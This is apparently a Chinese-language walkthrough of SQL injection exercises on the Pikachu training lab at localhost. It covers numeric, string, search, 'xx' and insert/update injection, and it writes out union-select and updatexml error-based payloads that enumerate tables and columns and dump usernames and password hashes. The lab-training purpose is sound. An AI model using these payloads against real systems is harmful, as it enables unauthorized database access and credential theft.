目录
1.数字型注入(post型)
1.打开网站,
2.打开抓包软件进行抓包,
3.右键发送给Repeater ,打开Repeater
4.爆列数
修改post发送的值,点击Send,
id=1 order by 3 #&submit=%E6%9F%A5%E8%AF%A2
发现4超出范围,再试2
页面显示正常,再试3
超出范围。说明有两列。
5.看显位
id=1 union select 1,2 #&submit=%E6%9F%A5%E8%AF%A2
修改为上述代码,Send
有两个位置, 回显
6.爆数据库名
id=1 union select 1,database() #&submit=%E6%9F%A5%E8%AF%A2
数据库名出现
7.查表名
id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema="pikachu" #&submit=%E6%9F%A5%E8%AF%A2
表名出来了。
8.爆列名
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_schema="pikachu" and table_name="users"#&submit=%E6%9F%A5%E8%AF%A2
9.爆数据
id=1 union select username,password from users #&submit=%E6%9F%A5%E8%AF%A2
查出来三组用户名与密码。 密码是md5加密的,拿去解密网站解密,得到
2.字符型注入(get)
1.判断闭合符号
输入1点击查询,发现提交的1在url上
2. 在url上输入1'
'被编码成%27了
http://localhost:8086/pikachu-master/vul/sqli/sqli_str.php?name=1%27&submit=%E6%9F%A5%E8%AF%A2
把上述代码换成
http://localhost:8086/pikachu-master/vul/sqli/sqli_str.php?name=1%27--+&submit=%E6%9F%A5%E8%AF%A2
页面正常,说明闭合符号为'
2.爆列数
http://localhost:8086/pikachu-master/vul/sqli/sqli_str.php?name=1%27%20order%20by%203--+&submit=%E6%9F%A5%E8%AF%A2
3超出范围,试 2
页面正常
3.看显位
http://localhost:8086/pikachu-master/vul/sqli/sqli_str.php?name=1%27%20union%20select%201,2--+&submit=%E6%9F%A5%E8%AF%A2
4. 爆数据库名
http://localhost:8086/pikachu-master/vul/sqli/sqli_str.php?name=1%27%20union%20select%201,database()--+&submit=%E6%9F%A5%E8%AF%A2
5.查表名
http://localhost:8086/pikachu-master/vul/sqli/sqli_str.php?name=1%27%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%22pikachu%22--+&submit=%E6%9F%A5%E8%AF%A2
6.爆列名
http://localhost:8086/pikachu-master/vul/sqli/sqli_str.php?name=1%27%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%22pikachu%22%20and%20table_name=%22users%22--+&submit=%E6%9F%A5%E8%AF%A2
7.爆数据
http://localhost:8086/pikachu-master/vul/sqli/sqli_str.php?name=1%27%20union%20select%20username,password%20from%20users--+&submit=%E6%9F%A5%E8%AF%A2
3.搜索型注入
1.判断闭合符号
输入1,发现页面显示正常
输入1',发现报错
报错里面说,在%'处有错误,那我们输入1'%
说明了闭合符号为%'
2.爆列数
http://localhost:8086/pikachu-master/vul/sqli/sqli_search.php?name=1%%27order%20by%204--+&submit=%E6%90%9C%E7%B4%A2#
4超出范围,试3
页面正常
3.看显位
http://localhost:8086/pikachu-master/vul/sqli/sqli_search.php?name=1%%27union%20select%201,2,3--+&submit=%E6%90%9C%E7%B4%A2#
4. 爆数据库名
http://localhost:8086/pikachu-master/vul/sqli/sqli_search.php?name=1%%27union%20select%201,2,database()--+&submit=%E6%90%9C%E7%B4%A2#
5.查表名
http://localhost:8086/pikachu-master/vul/sqli/sqli_search.php?name=1%%27union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%22pikachu%22--+&submit=%E6%90%9C%E7%B4%A2#
后续操作与上述一样,这里不在重复。
4.xx型注入
1.判断闭合符号
打开网站输入1'
闭合符号为')
2.爆列数
http://localhost:8086/pikachu-master/vul/sqli/sqli_x.php?name=1%27)order%20by%202--+&submit=%E6%9F%A5%E8%AF%A2
3.后续操作这里不在赘述。
5."insert/update"注入
insert注入
1.首先注册用户
2.填写信息,进行抓包
3.修改信息,发送到repeater
'or updatexml(1,concat(0x7e,database()),1)or'
4.爆表名
去掉da
'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'pikachu')),1)or'
可以看到最后一个没有显示完全,updatexml()能查询字符串的最大长度为32,,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位,也可以用limit函数
'or updatexml(1,substr(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'pikachu')),31,63),1)or'
5.爆列名
'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'pikachu'and table_name='users')),1)or'
6.爆数据
'or updatexml(1,concat(0x7e,(select group_concat(username) from users)),1)or'
可以看到有三个用户名,用同样的办法查出密码,若显示不全,则用substr函数截取。
update注入
1.打开网站,注册登录
2.修改个人信息
3.填入修改信息,抓包,发送到repeater
修改发送的值
4.输入注入语句
'or updatexml(1,concat(0x7e,database()),1)or'